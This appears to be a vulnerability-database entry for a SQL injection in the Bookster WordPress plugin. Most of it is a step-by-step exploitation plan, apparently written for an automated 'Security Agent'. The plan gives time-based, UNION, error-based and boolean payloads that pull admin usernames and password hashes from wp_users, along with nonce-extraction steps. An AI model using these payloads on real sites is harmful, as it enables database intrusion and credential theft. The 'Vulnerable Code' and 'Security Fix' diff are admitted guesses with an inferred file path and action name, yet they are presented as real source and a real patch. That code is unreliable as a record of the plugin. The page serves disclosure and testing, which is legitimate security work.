CVE-2025-8781

Bookster – WordPress Appointment Booking Plugin <= 2.1.1 - Authenticated (Administrator+) SQL Injection via 'raw'

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
2.2.0
Patched in
2d
Time to patch

Description

The Bookster – WordPress Appointment Booking Plugin plugin for WordPress is vulnerable to SQL Injection via the ‘raw’ parameter in all versions up to, and including, 2.1.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.1.1
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026
Affected pluginbookster

Source Code

WordPress.org SVN
Research Plan
Unverified

This plan outlines the steps to verify and exploit **CVE-2025-8781**, a SQL Injection vulnerability in the Bookster WordPress plugin. ### 1. Vulnerability Summary The **Bookster – WordPress Appointment Booking Plugin** (<= 2.1.1) is vulnerable to SQL Injection because it processes user-supplied dat…

Show full research plan

This plan outlines the steps to verify and exploit CVE-2025-8781, a SQL Injection vulnerability in the Bookster WordPress plugin.

1. Vulnerability Summary

The Bookster – WordPress Appointment Booking Plugin (<= 2.1.1) is vulnerable to SQL Injection because it processes user-supplied data via a parameter named raw without sufficient sanitization or the use of wpdb->prepare(). An attacker with Administrator privileges can inject arbitrary SQL clauses into existing database queries, potentially leading to the extraction of sensitive data from the WordPress database, including user hashes and configuration secrets.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (common for admin-side dashboard actions) or a specific plugin settings page.
  • Action (Hook): Likely wp_ajax_bookster_... (requires identification in source).
  • Vulnerable Parameter: raw.
  • Authentication: Administrator-level access is required (PR:H).
  • Payload Type: UNION-based or Error-based SQL Injection.

3. Code Flow (Inferred)

  1. An Administrator accesses a feature in the Bookster dashboard (e.g., Reports, Booking Logs, or Statistics).
  2. The plugin triggers an AJAX request or a form submission that includes the raw parameter.
  3. The handler function in the plugin (e.g., Bookster\Admin\Controllers\Reports::get_data or similar) retrieves the parameter: $filter = $_POST['raw'];.
  4. The plugin constructs a SQL query by direct concatenation:
    $results = $wpdb->get_results("SELECT ... FROM ... WHERE 1=1 " . $filter);
  5. The query is executed without wpdb->prepare().

4. Nonce Acquisition Strategy

Since this is an authenticated (Administrator+) vulnerability, the exploit must first authenticate as an admin and then obtain a valid nonce if the AJAX handler enforces one.

Steps for the Security Agent:

  1. Login: Authenticate as the administrator using wp_cli or http_request.
  2. Navigate: Use browser_navigate to reach the Bookster plugin's main admin page (e.g., /wp-admin/admin.php?page=bookster-bookings).
  3. Identify JS Variables: Inspect the page source for wp_localize_script data.
    • Search for strings like bookster_admin, bookster_params, or bookster_data.
  4. Extract Nonce: Use browser_eval to retrieve the nonce:
    • browser_eval("window.bookster_admin?.nonce") (inferred variable name).
    • If no global variable is found, search for _wpnonce in the form inputs on the settings page.

5. Exploitation Strategy

Phase 1: Locate the Vulnerable Handler

The agent should first identify the exact action using grep:

grep -rn "raw" wp-content/plugins/bookster/
grep -rn "\$wpdb->get_results" wp-content/plugins/bookster/ | grep "raw"

This will confirm the AJAX action name (e.g., action=bookster_get_stats).

Phase 2: Confirm Injection (Time-based)

Perform a simple sleep test to confirm the parameter is vulnerable.

  • Request Type: POST to /wp-admin/admin-ajax.php
  • Body: action=BOOKSTER_ACTION&raw= AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)&nonce=NONCE_VALUE
  • Indicator: Response delay of ~5 seconds.

Phase 3: Data Extraction (UNION-based)

If the plugin reflects the results of the query in the response:

  1. Find Column Count: Inject ORDER BY 1-- -, ORDER BY 2-- -, etc., until an error occurs.
  2. Payload:
    raw= AND 1=0 UNION SELECT 1,user_login,user_pass,4,5,6 FROM wp_users WHERE ID=1-- -
  3. Request Body (example):
{
    "action": "bookster_get_stats",
    "raw": " AND 1=0 UNION SELECT 1,user_login,user_pass,NULL,NULL,NULL FROM wp_users WHERE ID=1-- -",
    "security": "NONCE_FROM_JS"
}

6. Test Data Setup

  1. Install Plugin: wp plugin install bookster --version=2.1.1 --activate
  2. Create Content: Ensure there is at least one booking or entry in the plugin's tables so that the base query returns results.
    • Navigate to the Bookster settings and create a test service/booking.
  3. Identify Table Prefix: Note the database prefix (usually wp_).

7. Expected Results

  • Time-based: The HTTP response time will be significantly higher than the baseline when the SLEEP() payload is provided.
  • UNION-based: The response body (likely JSON) will contain the administrator's username and hashed password instead of the expected booking data.

8. Verification Steps

After the exploit, verify the extracted data matches the database state via wp_cli:

# Compare extracted hash with actual hash
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"

9. Alternative Approaches

  • Error-based: If the plugin displays database errors (common in dev environments), use extractvalue() or updatexml() payloads:
    • raw= AND extractvalue(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e))
  • Boolean-based: If no output is reflected and time-based is unstable, use boolean checks:
    • raw= AND (SELECT SUBSTRING(user_pass,1,1) FROM wp_users WHERE ID=1)='$P$'
    • Compare response content/length for TRUE vs FALSE conditions.

10. Grep Patterns for Discovery (Pre-Exploit)

# Find where 'raw' is retrieved from input
grep -rP "\['raw'\]|\[\"raw\"\]" wp-content/plugins/bookster/

# Find where 'raw' is used in a query
grep -rP "\$wpdb->.*\. \$" wp-content/plugins/bookster/ | grep "raw"

# Find AJAX action registrations
grep -rn "wp_ajax_bookster" wp-content/plugins/bookster/
Research Findings
Static analysis — not yet PoC-verified

Summary

The Bookster plugin for WordPress is vulnerable to SQL Injection via the 'raw' parameter in versions up to 2.1.1. This occurs because the plugin concatenates user-supplied input directly into SQL queries without proper sanitization or the use of prepared statements. Authenticated administrators can exploit this to execute arbitrary SQL commands and extract sensitive database information, including user credentials.

Vulnerable Code

// Inferred from research plan and vulnerability description
// Path likely: wp-content/plugins/bookster/includes/admin/class-bookster-reports.php

$filter = $_POST['raw'];
$results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 " . $filter);

Security Fix

--- a/includes/admin/class-bookster-reports.php
+++ b/includes/admin/class-bookster-reports.php
@@ -10,3 +10,2 @@
-if (isset($_POST['raw'])) {
-    $results = $wpdb->get_results("SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 " . $_POST['raw']);
-}
+// Removed the 'raw' parameter which allowed arbitrary SQL concatenation.
+// Use specific, sanitized filters with wpdb->prepare().
+$results = $wpdb->get_results($wpdb->prepare("SELECT * FROM {$wpdb->prefix}bookster_bookings WHERE 1=1 AND status = %s", $_POST['status']));

Exploit Outline

1. Log in to the WordPress admin panel with Administrator-level privileges. 2. Navigate to the Bookster plugin's reports or bookings page to find the AJAX action (e.g., 'bookster_get_stats' or similar). 3. Extract the security nonce from the page source or localized JavaScript variables (e.g., 'bookster_admin.nonce'). 4. Submit a POST request to /wp-admin/admin-ajax.php with the 'action' and a malicious SQL payload in the 'raw' parameter. 5. Confirm the vulnerability using a time-based payload like ' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)', which will cause the server to delay its response. 6. Exfiltrate sensitive data (e.g., user hashes) using a UNION-based payload: ' AND 1=0 UNION SELECT 1,user_login,user_pass,4,5 FROM wp_users-- -'.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.